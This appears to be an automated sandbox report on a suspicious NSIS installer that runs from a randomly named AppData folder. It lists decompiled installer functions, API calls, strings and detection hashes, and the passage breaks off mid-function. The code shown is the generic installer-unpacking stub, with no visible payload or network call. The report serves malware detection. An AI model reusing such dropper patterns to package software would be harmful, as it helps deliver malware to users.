RichEdit20A, xrefs: 00403765, 0040376B
.exe, xrefs: 00403619
C:\Users\user\AppData\Local\Temp\, xrefs: 0040352A
"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" , xrefs: 00403532
RichEdit, xrefs: 00403774
RichEd20, xrefs: 0040374D
C:\Users\user\AppData\Local\Temp, xrefs: 004035A6, 004035AE, 00403646, 0040364C, 0040365C
_Nb, xrefs: 004036C9, 004036CE
Control Panel\Desktop\ResourceLocale, xrefs: 0040355A
6B, xrefs: 00403682

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: 6B$"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 2262724009-2924391966
Opcode ID: ca5c191d662c2f1331136733af7cd9fb3c1208b0aa80a7c8f6e1579a7abb4d19
Instruction ID: 0f3f48bff709b167bb3a38cee6451da723a784a17f6d38f49bc0c0f1e25ee8dd
Opcode Fuzzy Hash: ca5c191d662c2f1331136733af7cd9fb3c1208b0aa80a7c8f6e1579a7abb4d19
Instruction Fuzzy Hash: 9261C5B1A04200BAD6206F659C45E3B3A6DE74474AF40453FF941B62E1D67D9E028B3E

Uniqueness

Uniqueness Score: -1.00%

Function 00402C22, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00402C22(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				signed int _t50;
				void* _t53;
				signed int _t54;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				signed int _t65;
				signed int _t67;
				signed int _t70;
				signed int _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				signed int _t85;
				signed int _t87;
				void* _t89;
				signed int _t90;
				signed int _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\engineer\\AppData\\Roaming\\fatbtifdnumsa\\ioldfli.exe";
				 *0x423e8c = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\engineer\\AppData\\Roaming\\fatbtifdnumsa\\ioldfli.exe", 0x400);
				_t89 = E004056B4(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x409014 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\engineer\\AppData\\Roaming\\fatbtifdnumsa";
				E004059DD("C:\\Users\\engineer\\AppData\\Roaming\\fatbtifdnumsa", _t91);
				E004059DD(0x42b000, E00405517(_t92));
				_t50 = GetFileSize(_t89, 0);
				__eflags = _t50;
				 *0x41f028 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402BBE(1);
					__eflags =  *0x423e94 - _t82; // 0x8200
					if(__eflags == 0) {
						goto L29;
					}
					__eflags = _v8 - _t82;
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						_t54 =  *0x423e94; // 0x8200
						E00403080(_t54 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E00402E5B(); // executed
						__eflags = _t57 - _v24;
						if(_t57 == _v24) {
							__eflags = _v44 & 0x00000001;
							 *0x423e90 = _t94;
							 *0x423e98 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x423e9c =  *0x423e9c + 1;
								__eflags =  *0x423e9c;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
								__eflags = _t85;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405675(0x423ea0, _t94 + 4, 0x40);
							__eflags = 0;
							return 0;
						}
						goto L29;
					}
					E00403080( *0x40b018);
					_t65 = E0040304E( &_a4, 4);
					__eflags = _t65;
					if(_t65 == 0) {
						goto L29;
					}
					__eflags = _v12 - _a4;
					if(_v12 != _a4) {
						goto L29;
					}
					goto L28;
				} else {
					do {
						_t67 =  *0x423e94; // 0x8200
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~_t67 & 0x00007e00) + 0x200;
						__eflags = _t93 - _t70;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E0040304E(0x417028, _t90); // executed
						__eflags = _t71;
						if(_t71 == 0) {
							E00402BBE(1);
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						__eflags =  *0x423e94;
						if( *0x423e94 != 0) {
							__eflags = _a4 & 0x00000002;
							if((_a4 & 0x00000002) == 0) {
								E00402BBE(0);
							}
							goto L20;
						}
						E00405675( &_v44, 0x417028, 0x1c);
						_t77 = _v44;
						__eflags = _t77 & 0xfffffff0;
						if((_t77 & 0xfffffff0) != 0) {
							goto L20;
						}
						__eflags = _v40 - 0xdeadbeef;
						if(_v40 != 0xdeadbeef) {
							goto L20;
						}
						__eflags = _v28 - 0x74736e49;
						if(_v28 != 0x74736e49) {
							goto L20;
						}
						__eflags = _v32 - 0x74666f73;
						if(_v32 != 0x74666f73) {
							goto L20;
						}
						__eflags = _v36 - 0x6c6c754e;
						if(_v36 != 0x6c6c754e) {
							goto L20;
						}
						_a4 = _a4 | _t77;
						_t87 =  *0x40b018; // 0x8200
						 *0x423f20 =  *0x423f20 | _a4 & 0x00000002;
						_t80 = _v20;
						__eflags = _t80 - _t93;
						 *0x423e94 = _t87;
						if(_t80 > _t93) {
							goto L29;
						}
						__eflags = _a4 & 0x00000008;
						if((_a4 & 0x00000008) != 0) {
							L16:
							_v8 = _v8 + 1;
							_t24 = _t80 - 4; // 0x40915c
							_t93 = _t24;
							__eflags = _t90 - _t93;
							if(_t90 > _t93) {
								_t90 = _t93;
							}
							goto L20;
						}
						__eflags = _a4 & 0x00000004;
						if((_a4 & 0x00000004) != 0) {
							break;
						}
						goto L16;
						L20:
						__eflags = _t93 -  *0x41f028;
						if(_t93 <  *0x41f028) {
							_v12 = E00405D6B(_v12, 0x417028, _t90);
						}
						 *0x40b018 =  *0x40b018 + _t90;
						_t93 = _t93 - _t90;
						__eflags = _t93;
					} while (_t93 > 0);
					_t82 = 0;
					__eflags = 0;
					goto L24;
				}
			}

APIs

GetTickCount.KERNEL32 ref: 00402C33
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe,00000400), ref: 00402C4F

Part of subcall function 004056B4: GetFileAttributesA.KERNELBASE(00000003,00402C62,C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe,80000000,00000003), ref: 004056B8
Part of subcall function 004056B4: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004056DA

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\AppData\Roaming\fatbtifdnumsa,C:\Users\user\AppData\Roaming\fatbtifdnumsa,C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe,C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe,80000000,00000003), ref: 00402C9B

Strings

C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe, xrefs: 00402C39, 00402C48, 00402C5C, 00402C7C
C:\Users\user\AppData\Roaming\fatbtifdnumsa, xrefs: 00402C7D, 00402C82, 00402C88
Error launching installer, xrefs: 00402C72
"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" , xrefs: 00402C2C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402DFA
Null, xrefs: 00402D19
soft, xrefs: 00402D10
Inst, xrefs: 00402D07
(pA, xrefs: 00402CB0
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C22

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" $(pA$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\fatbtifdnumsa$C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-832774534
Opcode ID: ab55cb2fb14d04616f822991b63ec3f26e4c66ae60ff675e8b93a203c080f69e
Instruction ID: bb8333a86194dcf573844375b596ab0c7c07cd824b72df89bd2f0bbec4532e5a
Opcode Fuzzy Hash: ab55cb2fb14d04616f822991b63ec3f26e4c66ae60ff675e8b93a203c080f69e
Instruction Fuzzy Hash: 21511971A00214ABDB209F65DE89B9E7BB4EF04319F10403BF904B62D1D7BC9E458BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00401734, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401734(FILETIME* __ebx, void* __eflags) {
				void* _t33;
				void* _t41;
				void* _t43;
				FILETIME* _t49;
				FILETIME* _t62;
				void* _t64;
				signed int _t70;
				FILETIME* _t71;
				FILETIME* _t75;
				signed int _t77;
				void* _t80;
				CHAR* _t82;
				void* _t85;

				_t75 = __ebx;
				_t82 = E004029F6(0x31);
				 *(_t85 - 8) = _t82;
				 *(_t85 + 8) =  *(_t85 - 0x24) & 0x00000007;
				_t33 = E0040553D(_t82);
				_push(_t82);
				if(_t33 == 0) {
					lstrcatA(E004054D0(E004059DD(0x409b50, "C:\\Users\\engineer\\AppData\\Local\\Temp")), ??);
				} else {
					_push(0x409b50);
					E004059DD();
				}
				E00405C3F(0x409b50);
				while(1) {
					__eflags =  *(_t85 + 8) - 3;
					if( *(_t85 + 8) >= 3) {
						_t64 = E00405CD8(0x409b50);
						_t77 = 0;
						__eflags = _t64 - _t75;
						if(_t64 != _t75) {
							_t71 = _t64 + 0x14;
							__eflags = _t71;
							_t77 = CompareFileTime(_t71, _t85 - 0x18);
						}
						asm("sbb eax, eax");
						_t70 =  ~(( *(_t85 + 8) + 0xfffffffd | 0x80000000) & _t77) + 1;
						__eflags = _t70;
						 *(_t85 + 8) = _t70;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) == _t75) {
						E00405695(0x409b50);
					}
					__eflags =  *(_t85 + 8) - 1;
					_t41 = E004056B4(0x409b50, 0x40000000, (0 |  *(_t85 + 8) != 0x00000001) + 1);
					__eflags = _t41 - 0xffffffff;
					 *(_t85 - 0x34) = _t41;
					if(_t41 != 0xffffffff) {
						break;
					}
					__eflags =  *(_t85 + 8) - _t75;
					if( *(_t85 + 8) != _t75) {
						E00404D7B(0xffffffe2,  *(_t85 - 8));
						__eflags =  *(_t85 + 8) - 2;
						if(__eflags == 0) {
							 *((intOrPtr*)(_t85 - 4)) = 1;
						}
						L31:
						 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t85 - 4));
						__eflags =  *0x423f08;
						goto L32;
					} else {
						E004059DD(0x40a350, 0x424000);
						E004059DD(0x424000, 0x409b50);
						E004059FF(_t75, 0x40a350, 0x409b50, "C:\Users\engineer\AppData\Local\Temp\nsmBB29.tmp\System.dll",  *((intOrPtr*)(_t85 - 0x10)));
						E004059DD(0x424000, 0x40a350);
						_t62 = E0040529E("C:\Users\engineer\AppData\Local\Temp\nsmBB29.tmp\System.dll",  *(_t85 - 0x24) >> 3) - 4;
						__eflags = _t62;
						if(_t62 == 0) {
							continue;
						} else {
							__eflags = _t62 == 1;
							if(_t62 == 1) {
								 *0x423f08 =  &( *0x423f08->dwLowDateTime);
								L32:
								_t49 = 0;
								__eflags = 0;
							} else {
								_push(0x409b50);
								_push(0xfffffffa);
								E00404D7B();
								L29:
								_t49 = 0x7fffffff;
							}
						}
					}
					L33:
					return _t49;
				}
				E00404D7B(0xffffffea,  *(_t85 - 8));
				 *0x423f34 =  *0x423f34 + 1;
				_push(_t75);
				_push(_t75);
				_push( *(_t85 - 0x34));
				_push( *((intOrPtr*)(_t85 - 0x1c)));
				_t43 = E00402E5B(); // executed
				 *0x423f34 =  *0x423f34 - 1;
				__eflags =  *(_t85 - 0x18) - 0xffffffff;
				_t80 = _t43;
				if( *(_t85 - 0x18) != 0xffffffff) {
					L22:
					SetFileTime( *(_t85 - 0x34), _t85 - 0x18, _t75, _t85 - 0x18); // executed
				} else {
					__eflags =  *((intOrPtr*)(_t85 - 0x14)) - 0xffffffff;
					if( *((intOrPtr*)(_t85 - 0x14)) != 0xffffffff) {
						goto L22;
					}
				}
				FindCloseChangeNotification( *(_t85 - 0x34)); // executed
				__eflags = _t80 - _t75;
				if(_t80 >= _t75) {
					goto L31;
				} else {
					__eflags = _t80 - 0xfffffffe;
					if(_t80 != 0xfffffffe) {
						E004059FF(_t75, _t80, 0x409b50, 0x409b50, 0xffffffee);
					} else {
						E004059FF(_t75, _t80, 0x409b50, 0x409b50, 0xffffffe9);
						lstrcatA(0x409b50,  *(_t85 - 8));
					}
					_push(0x200010);
					_push(0x409b50);
					E0040529E();
					goto L29;
				}
				goto L33;
			}

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Temp,00000000,00000000,00000031), ref: 0040179D

Part of subcall function 004059DD: lstrcpynA.KERNEL32(?,?,00000400,00403139,heartbreaker Setup,NSIS Error), ref: 004059EA

Part of subcall function 00404D7B: lstrlenA.KERNEL32(0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000,?), ref: 00404DB4
Part of subcall function 00404D7B: lstrlenA.KERNEL32(00402F8B,0041FC50,00000000,0040F020,00000000,?,?,?,?,?,?,?,?,?,00402F8B,00000000), ref: 00404DC4
Part of subcall function 00404D7B: lstrcatA.KERNEL32(0041FC50,00402F8B,00402F8B,0041FC50,00000000,0040F020,00000000), ref: 00404DD7
Part of subcall function 00404D7B: SetWindowTextA.USER32(0041FC50,0041FC50), ref: 00404DE9
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404E0F
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404E29
Part of subcall function 00404D7B: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404E37

Strings

C:\Users\user\AppData\Local\Temp\nsmBB29.tmp, xrefs: 0040177E, 004017ED, 0040180B
C:\Users\user\AppData\Local\Temp\nsmBB29.tmp\System.dll, xrefs: 00401801, 0040181D
Call, xrefs: 00401750, 00401759, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2
C:\Users\user\AppData\Local\Temp, xrefs: 00401761

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\nsmBB29.tmp$C:\Users\user\AppData\Local\Temp\nsmBB29.tmp\System.dll$Call
API String ID: 1941528284-2534458050
Opcode ID: c66380c8fa0b887d4e17fb9e13828c0b6bba1636114cd380fdc525b4a1122b51
Instruction ID: 7896ef4f757b45501086316f909c91b804aeab5b8a53035332c5850d51b772f7
Opcode Fuzzy Hash: c66380c8fa0b887d4e17fb9e13828c0b6bba1636114cd380fdc525b4a1122b51
Instruction Fuzzy Hash: FA41C272900615BACF10BBA5DD46EAF3A79EF01329B20433BF515F11E1D63C4A419AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00402E5B, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00402E5B(int _a4, void* _a8, long _a12, int _a16, signed char _a19) {
				signed int _v8;
				long _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				char _v88;
				void* _t62;
				void* _t63;
				int _t66;
				intOrPtr _t74;
				long _t75;
				int _t78;
				void* _t88;
				intOrPtr _t91;
				void* _t93;
				long _t96;
				signed int _t97;
				long _t98;
				int _t99;
				void* _t100;
				long _t101;
				void* _t102;

				_t97 = _a16;
				_t93 = _a12;
				_v12 = _t97;
				if(_t93 == 0) {
					_v12 = 0x8000;
				}
				_v8 = _v8 & 0x00000000;
				_t88 = _t93;
				if(_t93 == 0) {
					_t88 = 0x40f020;
				}
				_t60 = _a4;
				if(_a4 >= 0) {
					_t91 =  *0x423ed8; // 0x97ec
					E00403080(_t91 + _t60);
				}
				_t62 = E0040304E( &_a16, 4); // executed
				if(_t62 == 0) {
					L34:
					_push(0xfffffffd);
					goto L35;
				} else {
					if((_a19 & 0x00000080) == 0) {
						if(_t93 == 0) {
							while(_a16 > 0) {
								_t98 = _v12;
								if(_a16 < _t98) {
									_t98 = _a16;
								}
								if(E0040304E(0x40b020, _t98) == 0) {
									goto L34;
								} else {
									_t66 = WriteFile(_a8, 0x40b020, _t98,  &_a12, 0); // executed
									if(_t66 == 0 || _t98 != _a12) {
										L29:
										_push(0xfffffffe);
										L35:
										_pop(_t63);
										return _t63;
									} else {
										_v8 = _v8 + _t98;
										_a16 = _a16 - _t98;
										continue;
									}
								}
							}
							L45:
							return _v8;
						}
						if(_a16 < _t97) {
							_t97 = _a16;
						}
						if(E0040304E(_t93, _t97) != 0) {
							_v8 = _t97;
							goto L45;
						} else {
							goto L34;
						}
					}
					_v16 = GetTickCount();
					E00405DD9(0x40af90);
					_t13 =  &_a16;
					 *_t13 = _a16 & 0x7fffffff;
					_a4 = _a16;
					if( *_t13 <= 0) {
						goto L45;
					} else {
						goto L9;
					}
					while(1) {
						L9:
						_t99 = 0x4000;
						if(_a16 < 0x4000) {
							_t99 = _a16;
						}
						if(E0040304E(0x40b020, _t99) == 0) {
							goto L34;
						}
						_a16 = _a16 - _t99;
						 *0x40afa8 = 0x40b020;
						 *0x40afac = _t99;
						while(1) {
							 *0x40afb0 = _t88;
							 *0x40afb4 = _v12; // executed
							_t74 = E00405DF9(0x40af90); // executed
							_v24 = _t74;
							if(_t74 < 0) {
								break;
							}
							_t100 =  *0x40afb0; // 0x40f020
							_t101 = _t100 - _t88;
							_t75 = GetTickCount();
							_t96 = _t75;
							if(( *0x423f34 & 0x00000001) != 0 && (_t75 - _v16 > 0xc8 || _a16 == 0)) {
								wsprintfA( &_v88, "... %d%%", MulDiv(_a4 - _a16, 0x64, _a4));
								_t102 = _t102 + 0xc;
								E00404D7B(0,  &_v88);
								_v16 = _t96;
							}
							if(_t101 == 0) {
								if(_a16 > 0) {
									goto L9;
								}
								goto L45;
							} else {
								if(_a12 != 0) {
									_v8 = _v8 + _t101;
									_v12 = _v12 - _t101;
									_t88 =  *0x40afb0; // 0x40f020
									L24:
									if(_v24 != 1) {
										continue;
									}
									goto L45;
								}
								_t78 = WriteFile(_a8, _t88, _t101,  &_v20, 0); // executed
								if(_t78 == 0 || _v20 != _t101) {
									goto L29;
								} else {
									_v8 = _v8 + _t101;
									goto L24;
								}
							}
						}
						_push(0xfffffffc);
						goto L35;
					}
					goto L34;
				}
			}

APIs

GetTickCount.KERNEL32 ref: 00402EB9
GetTickCount.KERNEL32 ref: 00402F3A
MulDiv.KERNEL32(7FFFFFFF,00000064,00000020), ref: 00402F67
wsprintfA.USER32 ref: 00402F77
WriteFile.KERNELBASE(00000000,00000000,0040F020,00000000,00000000), ref: 00402FA3

Strings

... %d%%, xrefs: 00402F71

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: c92cbd3e3d4075a18ca6a835e36108bdbc166e0133a86f0c276232396de1e17b
Instruction ID: 77f196e3f4de2b0f7ff2a56d5fa3bb7e3b28ee40e2402e388f788a2720e93e15
Opcode Fuzzy Hash: c92cbd3e3d4075a18ca6a835e36108bdbc166e0133a86f0c276232396de1e17b
Instruction Fuzzy Hash: F151917190121A9BCF10CF55DA48AAF7B78AF04795F10413BF810B72C0D7B89E50DBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004015B3(struct _SECURITY_ATTRIBUTES* __ebx) {
				struct _SECURITY_ATTRIBUTES** _t10;
				int _t19;
				struct _SECURITY_ATTRIBUTES* _t20;
				signed char _t22;
				struct _SECURITY_ATTRIBUTES* _t23;
				CHAR* _t25;
				struct _SECURITY_ATTRIBUTES** _t29;
				void* _t30;

				_t23 = __ebx;
				_t25 = E004029F6(0xfffffff0);
				_t10 = E00405564(_t25);
				_t27 = _t10;
				if(_t10 != __ebx) {
					do {
						_t29 = E004054FB(_t27, 0x5c);
						 *_t29 = _t23;
						 *((char*)(_t30 + 0xb)) =  *_t29;
						_t19 = CreateDirectoryA(_t25, _t23); // executed
						if(_t19 == 0) {
							if(GetLastError() != 0xb7) {
								L4:
								 *((intOrPtr*)(_t30 - 4)) =  *((intOrPtr*)(_t30 - 4)) + 1;
							} else {
								_t22 = GetFileAttributesA(_t25); // executed
								if((_t22 & 0x00000010) == 0) {
									goto L4;
								}
							}
						}
						_t20 =  *((intOrPtr*)(_t30 + 0xb));
						 *_t29 = _t20;
						_t27 =  &(_t29[0]);
					} while (_t20 != _t23);
				}
				if( *((intOrPtr*)(_t30 - 0x20)) == _t23) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E004059DD("C:\\Users\\engineer\\AppData\\Local\\Temp", _t25);
					SetCurrentDirectoryA(_t25); // executed
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

APIs

Part of subcall function 00405564: CharNextA.USER32(00405316,?,00421880,00000000,004055C8,00421880,00421880,?,?,00000000,00405316,?,"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" ,00000000), ref: 00405572
Part of subcall function 00405564: CharNextA.USER32(00000000), ref: 00405577
Part of subcall function 00405564: CharNextA.USER32(00000000), ref: 00405586

CreateDirectoryA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Local\Temp,00000000,00000000,000000F0), ref: 00401622

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00401617

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 3751793516-1104044542
Opcode ID: eca45e4f265b5310bf3876cc38f450248989b20858a3f8b45370c7433c2b44d3
Instruction ID: ffaaac8e814952d4dd163c137c14166a37b00a477d69e33f5cc6849720afcf5a
Opcode Fuzzy Hash: eca45e4f265b5310bf3876cc38f450248989b20858a3f8b45370c7433c2b44d3
Instruction Fuzzy Hash: 86010831908180ABDB116F795D44D6F27B0DA52365728473BF491B22E2C23C4942962E

Uniqueness

Uniqueness Score: -1.00%

Function 004056E3, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004056E3(char _a4, intOrPtr _a6, CHAR* _a8) {
				signed int _t11;
				int _t14;
				signed int _t16;
				void* _t19;
				CHAR* _t20;

				_t20 = _a4;
				_t19 = 0x64;
				while(1) {
					_t19 = _t19 - 1;
					_a4 = 0x61736e;
					_t11 = GetTickCount();
					_t16 = 0x1a;
					_a6 = _a6 + _t11 % _t16;
					_t14 = GetTempFileNameA(_a8,  &_a4, 0, _t20); // executed
					if(_t14 != 0) {
						break;
					}
					if(_t19 != 0) {
						continue;
					}
					 *_t20 =  *_t20 & 0x00000000;
					return _t14;
				}
				return _t20;
			}

APIs

GetTickCount.KERNEL32 ref: 004056F6
GetTempFileNameA.KERNELBASE(?,0061736E,00000000,?), ref: 00405710

Strings

nsa, xrefs: 004056EF
"C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" , xrefs: 004056EA
C:\Users\user\AppData\Local\Temp\, xrefs: 004056E3, 004056E6

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\AppData\Roaming\fatbtifdnumsa\ioldfli.exe" $C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-236815698
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 090c9869d25c952b380026dfe3028592f3e254e5657c021594612e0629f183dd
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: AFF0A736348204B7D7104F55EC04B9B7F5DDF91750F14C027F944DA1C0D6B1995597A5

Uniqueness

Uniqueness Score: -1.00%

Function 00401F51, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00401F51(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t18;
				struct HINSTANCE__* _t26;
				void* _t27;
				struct HINSTANCE__* _t30;
				CHAR* _t32;
				intOrPtr* _t33;
				void* _t34;

				_t27 = __ebx;
				asm("sbb eax, 0x423f38");
